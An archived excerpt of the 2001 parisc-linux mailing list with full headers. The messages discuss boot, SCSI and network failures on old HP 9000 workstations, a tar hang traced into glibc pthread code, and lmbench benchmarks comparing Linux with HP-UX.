> > away.  That way to do kernel work (and not bootstrap work), you don't need
> > HPUX at all.
> I think the vast majority of parisc boxes runs HP-UX at the moment so it
> probably would not be a big win.

Being able to cross compile really is a big win.  There's a lot of people
with slower 700 series boxes.  Also, building and booting is a lot easier
if you can xcompile on your PIII.  Booting into HPUX is pretty slow.

- Alex


From - Thu Nov 08 21:15:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting a 710 (bushmaster)
Date: Mon, 22 Jan 2001 11:10:40 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20010122111040.K3571@linuxcare.com>
References: <200101181517.f0IFHOs08538@openbsd1.buttafuoco.net> <20010118205206.B28638@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619568 11030 80.91.229.3 (22 Nov 2014 01:26:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jim Buttafuoco <jim@tylerdrive.org>
Original-X-From: rhirst@linuxcare.com  Mon Jan 22 04:17:55 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA06475
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 04:17:45 -0700
Original-Received: (qmail 7575 invoked by uid 15267); 22 Jan 2001 11:21:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6383 invoked from network); 22 Jan 2001 11:20:17 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 11:20:17 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 21B68B005; Mon, 22 Jan 2001 11:10:40 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010118205206.B28638@linuxcare.com>; from rhirst@linuxcare.com on Thu, Jan 18, 2001 at 08:52:06PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:9311

On Thu, Jan 18, 2001 at 08:52:06PM +0000, Richard Hirst wrote:
> On Thu, Jan 18, 2001 at 10:17:24AM -0500, Jim Buttafuoco wrote:
> > Hi,
> > 
> > I have been trying to get my 2 9000/710's to boot for a couple of months
> > now.  Attached is the latest log file from my boot. 
> > 
> > The 2 problems that I see are the ramdisk is NOT seen and the BOOTP
> > fails.  I have used TCPDUMP to look at the packets coming and going from
> > the system.  All I see is the RBOOTP stuff.  The ramdisk is valid as far
> > as I can tell. (I mounted it via the loop fs).  Should it be compressed
> > with ZIP???.
> 
> 
> > SCSI subsystem driver Revision: 1.00
> > sim700: Couldn't get consistent shared memory
> > sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86
> > scsi0: Revision 0x0
> > Post test1, istat 05, sstat0 00, dstat 81
> > sim700: WARNING IRQ probe failed, (returned 0)
> > scsi0: test 1 FAILED: dsps: exp 0xab93001d, got 0x00000000
> 
> You have problems with the scsi driver also.  dstat=81 says 
> "Illegal Instruction Detected", which implies the scsi chip cannot
> access memory properly.  If the network chip has the same problem,
> that would explain your other problems.  As you can load the kernel
> ok, I guess the h/w is ok and we are not setting something up
> correctly.  I have a 715/75 which uses the same scsi and network
> drivers; I'll try that in a while - havn't booted it for a month
> or so.

You'll be pleased to hear that the latest kernel has similar problems
on my 715/75.  I'm investigating.

Richard


From - Thu Nov 08 21:15:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting a 710 (bushmaster)
Date: Mon, 22 Jan 2001 13:52:20 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20010122135220.M3571@linuxcare.com>
References: <200101181517.f0IFHOs08538@openbsd1.buttafuoco.net> <20010118205206.B28638@linuxcare.com> <20010122111040.K3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619568 11037 80.91.229.3 (22 Nov 2014 01:26:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jim Buttafuoco <jim@tylerdrive.org>
Original-X-From: rhirst@linuxcare.com  Mon Jan 22 06:58:28 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA07615
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 06:58:17 -0700
Original-Received: (qmail 2392 invoked by uid 15267); 22 Jan 2001 14:01:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2384 invoked from network); 22 Jan 2001 14:01:58 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 14:01:58 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id BBA81B005; Mon, 22 Jan 2001 13:52:20 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010122111040.K3571@linuxcare.com>; from rhirst@linuxcare.com on Mon, Jan 22, 2001 at 11:10:40AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:9312

On Mon, Jan 22, 2001 at 11:10:40AM +0000, Richard Hirst wrote:
> You'll be pleased to hear that the latest kernel has similar problems
> on my 715/75.  I'm investigating.

New versions of pgalloc.h and sim700.c committed.  Please build a new
kernel and try again.

Richard


From - Thu Nov 08 21:15:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sean Anaya" <sanaya@gr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] newbie question
Date: Mon, 22 Jan 2001 08:17:56 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <000101c08486$7f61bdd0$da43740f@spawn>
Reply-To: <sanaya@gr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619568 11040 80.91.229.3 (22 Nov 2014 01:26:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:08 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: sanaya@gr.hp.com  Mon Jan 22 08:08:31 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA08257
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 08:08:30 -0700
Original-Received: (qmail 1871 invoked by uid 15267); 22 Jan 2001 15:12:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1856 invoked from network); 22 Jan 2001 15:12:18 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 15:12:18 -0000
Original-Received: from hpgrla.gr.hp.com (hpgrla.gr.hp.com [15.57.1.1])
	by palrel3.hp.com (Postfix) with ESMTP id EF45866D
	for <parisc-linux@thepuffingroup.com>; Mon, 22 Jan 2001 07:12:16 -0800 (PST)
Original-Received: from kontiki.gr.hp.com (kontiki.gr.hp.com [15.38.155.246])
	by hpgrla.gr.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) with SMTP id IAA23960
	for <parisc-linux@thepuffingroup.com>; Mon, 22 Jan 2001 08:12:16 -0700 (MST)
Original-Received: from [15.116.67.218] (HELO spawn) by kontiki.gr.hp.com (Stalker SMTP Server 1.8b8) with SMTP id S.0000018795 for <parisc-linux@thepuffingroup.com>; Mon, 22 Jan 2001 08:12:51 -0700
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:9313

Hi all,

I have acquired an HP Visualize C180-XP machine at work (first time I have
played with an HP unix box) and would like to install HP Linux on it. Since
I don't have access to another linux machine for tftpbooting it seems the
best way to install linux is to make a bootable CD. So my question is how do
I burn a bootable CD once I have everything that needs to be on the CD. I
have access to a CD burner/software on a windows machine, but I don't know
if that will work for an HP unix box. Any help or suggestions on a better
way to install linux would be greatly appreciated. I'm more familiar with
older Sun machines than I am with HP's.

Thanks,

Sean Anaya
sanaya@gr.hp.com


From - Thu Nov 08 21:15:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting a 710 (bushmaster)
Date: Mon, 22 Jan 2001 15:15:15 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <20010122151515.N3571@linuxcare.com>
References: <200101221502.f0MF2kO05633@openbsd1.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619568 11046 80.91.229.3 (22 Nov 2014 01:26:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jim Buttafuoco <jim@tylerdrive.org>
Original-X-From: rhirst@linuxcare.com  Mon Jan 22 08:21:10 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA08641
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 08:21:09 -0700
Original-Received: (qmail 21525 invoked by uid 15267); 22 Jan 2001 15:24:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21501 invoked from network); 22 Jan 2001 15:24:53 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 15:24:53 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id AAD76B005; Mon, 22 Jan 2001 15:15:15 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200101221502.f0MF2kO05633@openbsd1.buttafuoco.net>; from jim@tylerdrive.org on Mon, Jan 22, 2001 at 10:02:46AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:9314

On Mon, Jan 22, 2001 at 10:02:46AM -0500, Jim Buttafuoco wrote:
> 	This also fails.  attached is the boot log.  

> SCSI subsystem driver Revision: 1.00
> sim700: Couldn't get consistent shared memory
> sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
> scsi0: Revision 0x0
> Post test1, istat 05, sstat0 00, dstat 84
> sim700: WARNING IRQ probe failed, (returned 0)
> scsi0: WARNING: target data areas are not dma coherent!
> scsi0: test 1 completed ok.

Well, scsi is happier now.  The messages above are expected, and
test 1 passing means the scsi chip can access memeory ok.

> scsi0 : LASI/Simple 53c7xx
> scsi0: Unable to abort command for target 0
> scsi0: Unable to send Bus Device Reset for target 0
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: could not halt NCR chip, stage 0
> scsi0: Unable to abort command for target 1
> scsi0: Unable to send Bus Device Reset for target 1
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<

Those messages might be caused by an unterminated scsi bus, or by
a problem with interrupts.

The network problem still looks like interrupts from the 82596 are
disabled somehwere and not getting to the processor.

Still seems likely to me that the kernel is not enabling some interrupts
properly for the 710 bushmaster machines.

Anyone on the list got a similar machine working?  The h/w database
lists quite a few people as owning one of these boxes.

My 715 now works as far as scsi and network are concerned, but (a) I
have to disable nscd, (b) tar hangs, and (c) I have disabled parallel
port support.  nscd and tar both seem to go in to a loop calling
sched_yield() from libc.

Richard


From - Thu Nov 08 21:15:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Phillip D. Beal" <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel Swapping yet?
Date: Mon, 22 Jan 2001 10:49:12 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20010122104912.B56158@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619569 11049 80.91.229.3 (22 Nov 2014 01:26:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@louisville.edu  Mon Jan 22 09:00:07 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA11901
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 08:59:56 -0700
Original-Received: (qmail 12114 invoked by uid 15267); 22 Jan 2001 15:57:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30888 invoked from network); 22 Jan 2001 15:49:45 -0000
Original-Received: from erouter1.it-datacntr.louisville.edu (136.165.1.15)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 15:49:45 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter1.it-datacntr.louisville.edu (Postfix) with ESMTP id AD2C722EBC
	for <parisc-linux@thepuffingroup.com>; Mon, 22 Jan 2001 10:49:44 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id BE131C63; Mon, 22 Jan 2001 10:49:12 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:9315

Hey,

I've been playing around with the 715 I got to boot, and I've found an
odd occurance.  If I open an existing file with vi, and hit escape the
kernel crashes.  It doesn't matter if the file is locally or on a remote
system it does it either way.  So, I remeber the instructions from the
PA-Linux 0.1 CD saying the kernel isn't useing the swap space yet.  Is
this still true? I know the problem is not vi because the kernel dies
even if I use vi on the remote system.  The PARISC system dies when I go
to hit ESC to exit insert mode of vi.

Thanks,
-- 
Phillip Beal                           ___           _               _   
Electrical and Computer Engineering   | _ ) ___ __ _| |___  _ _  ___| |_ 
pdbeal@louisville.edu                 | _ \/ -_) _` | |_ /_| ' \/ -_)  _|
http://www.bealz.net/                 |___/\___\__,_|_/__(_)_||_\___|\__|


From - Thu Nov 08 21:15:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] tar hangs on 715/75
Date: Mon, 22 Jan 2001 16:50:14 +0000
Lines: 79
Approved: news@gmane.org
Message-ID: <20010122165014.O3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619569 11051 80.91.229.3 (22 Nov 2014 01:26:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Mon Jan 22 09:56:04 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA12597
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 09:56:03 -0700
Original-Received: (qmail 1722 invoked by uid 15267); 22 Jan 2001 16:59:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1705 invoked from network); 22 Jan 2001 16:59:54 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 16:59:54 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3D026B005; Mon, 22 Jan 2001 16:50:14 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:9316

Hi,
  tar (and nscd) hang on my 715/75.  Same binaries/libraries work on
the B180.  The hang is in __pthread_acquire() called from
pthread_initialize().  On the B180 the code sequence goes like this
(tracing branches):

IAOQ: 40161eff 4015df47         <pthread_initialize+348>
IAOQ: 4015df53 4006b63f         <_init+1136>
IAOQ: 4006b65f 00000103         <__sigprocmask+32>
>>>> Heading for space 0 <<<<
IAOQ: 4006b66f 4006b687         <__sigprocmask+48>
IAOQ: 4006b693 40161f03         <__sigprocmask+84>
IAOQ: 40161f37 4015df37         <pthread_initialize+404>
IAOQ: 4015df43 4006e983         <_init+1120>
IAOQ: 4006e9af 4006e82f         <__cxa_atexit+44>
IAOQ: 4006e867 400860cf         <__new_exitfn+56>
IAOQ: 400860db 40160ed7         <____strtod_l_internal+15484>
IAOQ: 40160f07 40160f0b         <__pthread_mutex_lock+48>
IAOQ: 40160f0f 4016107f         <__pthread_mutex_lock+56>
IAOQ: 40161083 40164c63         <__pthread_mutex_lock+428>
IAOQ: 40164c93 4016508f         <__pthread_alt_lock+48>
IAOQ: 401650cf 40165107         <__pthread_acquire+64>
IAOQ: 4016511f 40164c97         <__pthread_acquire+144>
IAOQ: 40164cab 40164d53         <__pthread_alt_lock+72>
IAOQ: 40164d57 40164d63         <__pthread_alt_lock+244>
IAOQ: 40164d7b 40161087         <__pthread_alt_lock+280>
IAOQ: 4016109b 4006e86b         <__pthread_mutex_lock+452>
IAOQ: 4006e893 4006e8c7         <__new_exitfn+100>
etc

while on the 715/75 it goes like this:

IAOQ: 40161eff 4015df47         <pthread_initialize+348>
IAOQ: 4015df53 4006b63f         <_init+1136>
IAOQ: 4006b65f 00000103         <__sigprocmask+32>
>>>> Heading for space 0 <<<<
IAOQ: 4006b66f 4006b687
IAOQ: 4006b693 40161f03
IAOQ: 40161f37 4015df37
IAOQ: 4015df43 4006e983
IAOQ: 4006e9af 4006e82f
IAOQ: 4006e867 400860cf
IAOQ: 400860db 40160ed7
IAOQ: 40160f07 40160f0b
IAOQ: 40160f0f 4016107f
IAOQ: 40161083 40164c63
IAOQ: 40164c93 4016508f         <__pthread_alt_lock+48>
IAOQ: 401650df 4015dba7         <__pthread_acquire+80>
IAOQ: 4015dbb3 400f546f         <_init+208>
IAOQ: 400f5473 00000103         <sched_yield+4>
>>>> Heading for space 0 <<<<


from which I conclude that __pthread_acquire(int *spinlock) found the
spinlock held.

Relevant bit of pthread_initialize() looks like this:

  sigprocmask(SIG_BLOCK, &mask, NULL);
  /* Register an exit function to kill all other threads. */
  /* Do it early so that user-registered atexit functions are called
     before pthread_*exit_process. */
#ifndef HAVE_Z_NODELETE
  if (__builtin_expect (&__dso_handle != NULL, 1))
    __cxa_atexit ((void (*) (void *)) pthread_atexit_process, NULL,
                  __dso_handle);
  else
#endif
    __on_exit (pthread_onexit_process, NULL);


Do other people see this problem on 715/old machines?  Just type 'tar';
if you have the problem you'll never see the usage message.

Even better, does anyone have any suggestions as to what might be
causing it?  I am using taggarts new tarball nfsroot.

Richard


From - Thu Nov 08 21:15:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] First benchmark results
Date: Mon, 22 Jan 2001 10:28:18 -0700
Lines: 144
Approved: news@gmane.org
Message-ID: <m14KklS-001Vp3C@chalet>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619569 11057 80.91.229.3 (22 Nov 2014 01:26:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@bame.riverrock.org  Mon Jan 22 10:27:47 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA13147
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 10:27:46 -0700
Original-Received: (qmail 24590 invoked by uid 15267); 22 Jan 2001 17:31:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21889 invoked from network); 22 Jan 2001 17:30:03 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 17:30:03 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp
	id <m14KklS-001Vp3C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Mon, 22 Jan 2001 10:28:22 -0700 (MST) 
Errors-To: bame@riverrock.org
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:9317


Executive summary:
    HP-UX is shown out-of-the-box, with no parameter adjustments which
    could help it show better in these benchmarks.

    HP-UX, a mature much-tuned kernel and Linux, a not fully functional
    and never tuned on HP hardware kernel, are competitive in a great
    many areas.  HP-UX is faster in some areas, and Linux is faster than
    HP-UX in fewer areas.  This portends a bright future for Linux on parisc!

    HPUX, is MUCH faster than Linux at fork/exec and pipe and unix/tcp
    socket bandwidths.  Note: Linux fork/exec got a
    lot faster with the recent cache-flushing changes.  Linux wins
    big on stat, open/close, file create/delete (sometimes > 100:1).

    Linux beats HPUX in the 2-process context-switch trials, but not
    in the 8 or 16-process trials.

    The 100MHz gecko is roughly 8x slower than the 400MHz C3000 on
    compute-bound benchmarks, re-emphasizing that MHz is not an entirely
    trustworthy performance predictor.

Caveats:
    HPUX was not optimized for this benchmark.  Changing the fs_async flag
    might make a huge improvement in the file-system-related performance.

    The "TCP conn" data should not be trusted at all.

    LOTS OF DATA IS OBSCURED and possibly MISREPRESENTED by this summary.
    The hoards of data upon which this summary is based is available
    at http://puffin.external.hp.com/~bame/lmbench-2beta1/results.

    c3k-hpux is an active in-use HPUX box with variable loads runing
    all the standard daemons therefore some benchmark results are slow.

    Lmbench 2beta1 by its name is clearly "beta" software (though it seems
    to work fine).  More info about lmbench: http://www.bitmover.com/lmbench

    Some test programs on Linux still require manual intervention.

Key:
    c3k-j09-3	C3000 Pre-cache-flushing (Jan 9) kernel 32-bit Linux
    c3k-j19-3	C3000 Post-cache-flushing (Jan 19) kernel 32-bit Linux
    712-100	100MHz 9000/712 (gecko) Jan 19 Linux
    c3k-hpux	C3000 HPUX 10.20 (*** an active in-use system ***)


                 L M B E N C H  2 . 0   S U M M A R Y
                 ------------------------------------
		 (Alpha software, do not distribute)

Basic system parameters
----------------------------------------------------
Host                 OS Description              Mhz
                                                    
--------- ------------- ----------------------- ----
c3k-j19-6 Linux 2.4.0-t      parisc64-linux-gnu  400
712-100   Linux 2.4.0-t        parisc-linux-gnu  100
c3k-j09-3 Linux 2.4.0-t        parisc-linux-gnu  400
c3k-j19-3 Linux 2.4.0-t        parisc-linux-gnu  400
c3k-hpux  HP-UX B.10.20    hppa2.0-hp-hpux10.20  400
c3k-hpux  HP-UX B.10.20    hppa2.0-hp-hpux10.20  400
c3k-hpux  HP-UX B.10.20    hppa2.0-hp-hpux10.20  400
c3k-hpux  HP-UX B.10.20    hppa2.0-hp-hpux10.20  400

Processor, Processes - times in microseconds - smaller is better
----------------------------------------------------------------
Host                 OS  Mhz null null      open selct sig  sig  fork exec sh  
                             call  I/O stat clos TCP   inst hndl proc proc proc
--------- ------------- ---- ---- ---- ---- ---- ----- ---- ---- ---- ---- ----
c3k-j19-6 Linux 2.4.0-t  400 0.85 1.48 8.74   10    90 2.44   18 2513  13K  61K
712-100   Linux 2.4.0-t  100 3.07 5.10   44   47   249   12   72 5651  41K 229K
c3k-j09-3 Linux 2.4.0-t  400 0.77 1.34 8.35 8.96    63 2.31   14  11K 115K 433K
c3k-j19-3 Linux 2.4.0-t  400 0.76 1.32 8.12 8.88    61 2.26   14 1674  11K  53K
c3k-hpux  HP-UX B.10.20  400 0.34        21   25    55 3.42   12  699 1873 9950
c3k-hpux  HP-UX B.10.20  400 0.33        21   25    54 3.42   12  699 1876 9946
c3k-hpux  HP-UX B.10.20  400 0.33        21   25    55 3.42   12  698 1866 6678
c3k-hpux  HP-UX B.10.20  400 0.33        21   25    55 3.42   12  700 1871 6715

Context switching - times in microseconds - smaller is better
-------------------------------------------------------------
Host                 OS 2p/0K 2p/16K 2p/64K 8p/16K 8p/64K 16p/16K 16p/64K
                        ctxsw  ctxsw  ctxsw ctxsw  ctxsw   ctxsw   ctxsw
--------- ------------- ----- ------ ------ ------ ------ ------- -------
c3k-j19-6 Linux 2.4.0-t 1.870 1.8800 1.5800     25     84      29      97
712-100   Linux 2.4.0-t    23    156    617    175    625     179     627
c3k-j09-3 Linux 2.4.0-t 1.420 1.4400 1.2400     22     83      27      95
c3k-j19-3 Linux 2.4.0-t 1.360 1.3000 1.1500     22     82      27      95
c3k-hpux  HP-UX B.10.20 3.760 3.6500    273    119    288      92     184
c3k-hpux  HP-UX B.10.20 3.760 3.6800 3.7500 3.7000     32 6.31000      60
c3k-hpux  HP-UX B.10.20 3.760 3.6300 3.5100 3.5600     13 6.84000      64
c3k-hpux  HP-UX B.10.20 4.320 3.7700 3.6300 3.7000     10 5.92000      51

*Local* Communication latencies in microseconds - smaller is better
-------------------------------------------------------------------
Host                 OS 2p/0K  Pipe AF     UDP  RPC/   TCP  RPC/ TCP
                        ctxsw       UNIX         UDP         TCP conn
--------- ------------- ----- ----- ---- ----- ----- ----- ----- ----
c3k-j19-6 Linux 2.4.0-t 1.870    10   19    29   144    38   218  208
712-100   Linux 2.4.0-t    23    43   84   153         260       1032
c3k-j09-3 Linux 2.4.0-t 1.420    21   49    41          36           
c3k-j19-3 Linux 2.4.0-t 1.360 9.501   19    28          36       8.2M
c3k-hpux  HP-UX B.10.20 3.760    20   22    42    93    39   103 2.0M
c3k-hpux  HP-UX B.10.20 3.760    19   22    41    93    39   101 2.0M
c3k-hpux  HP-UX B.10.20 3.760    19   21    41    93    39   101 2.0M
c3k-hpux  HP-UX B.10.20 4.320    19   21    41    93    39   102 2.0M

File & VM system latencies in microseconds - smaller is better
--------------------------------------------------------------
Host                 OS   0K File      10K File      Mmap    Prot    Page	
                        Create Delete Create Delete  Latency Fault   Fault 
--------- ------------- ------ ------ ------ ------  ------- -----   ----- 
c3k-j19-6 Linux 2.4.0-t     11 2.9577     35 7.4666     1944            20
712-100   Linux 2.4.0-t     78     11    184     20     3546            42
c3k-j09-3 Linux 2.4.0-t 9.0001 1.0000    170 3.0000 174.2860           937
c3k-j19-3 Linux 2.4.0-t 9.0001 1.0000     28 3.0000     1423              
c3k-hpux  HP-UX B.10.20   1123    598   1694    598 191.8620 6.480    5504
c3k-hpux  HP-UX B.10.20   1123    598   1754    598 181.1960 6.880    5738
c3k-hpux  HP-UX B.10.20   1136    598   1724    598 184.6730 4.232    5418
c3k-hpux  HP-UX B.10.20   1123    598   1724    598 185.1890 4.300    5475

*Local* Communication bandwidths in MB/s - bigger is better
-----------------------------------------------------------
Host                OS  Pipe AF    TCP  File   Mmap  Bcopy  Bcopy  Mem   Mem
                             UNIX      reread reread (libc) (hand) read write
--------- ------------- ---- ---- ---- ------ ------ ------ ------ ---- -----
c3k-j19-6 Linux 2.4.0-t   47   49   39     73    514    196    201  505   432
712-100   Linux 2.4.0-t 7.35 6.61 6.13     12     69     34     26   69    52
c3k-j09-3 Linux 2.4.0-t   47   49   41     76    509    195    199  509   430
c3k-j19-3 Linux 2.4.0-t   48   49   42     76    513    193    200  504   430
c3k-hpux  HP-UX B.10.20  406  528  298    490    391    164    163  503   452
c3k-hpux  HP-UX B.10.20  402  537  315    506    509    207    208  504   467
c3k-hpux  HP-UX B.10.20  407  537  312    508    509    207    206  494   467
c3k-hpux  HP-UX B.10.20  406  538  311    505    509    205    209  499   467

Memory latencies in nanoseconds - smaller is better
    (WARNING - may not be correct, check graphs)
---------------------------------------------------
Host                 OS   Mhz  L1 $   L2 $    Main mem    Guesses
--------- -------------  ---- ----- ------    --------    -------
c3k-j19-6 Linux 2.4.0-t   400 7.503 7.5030    184    No L1 cache?
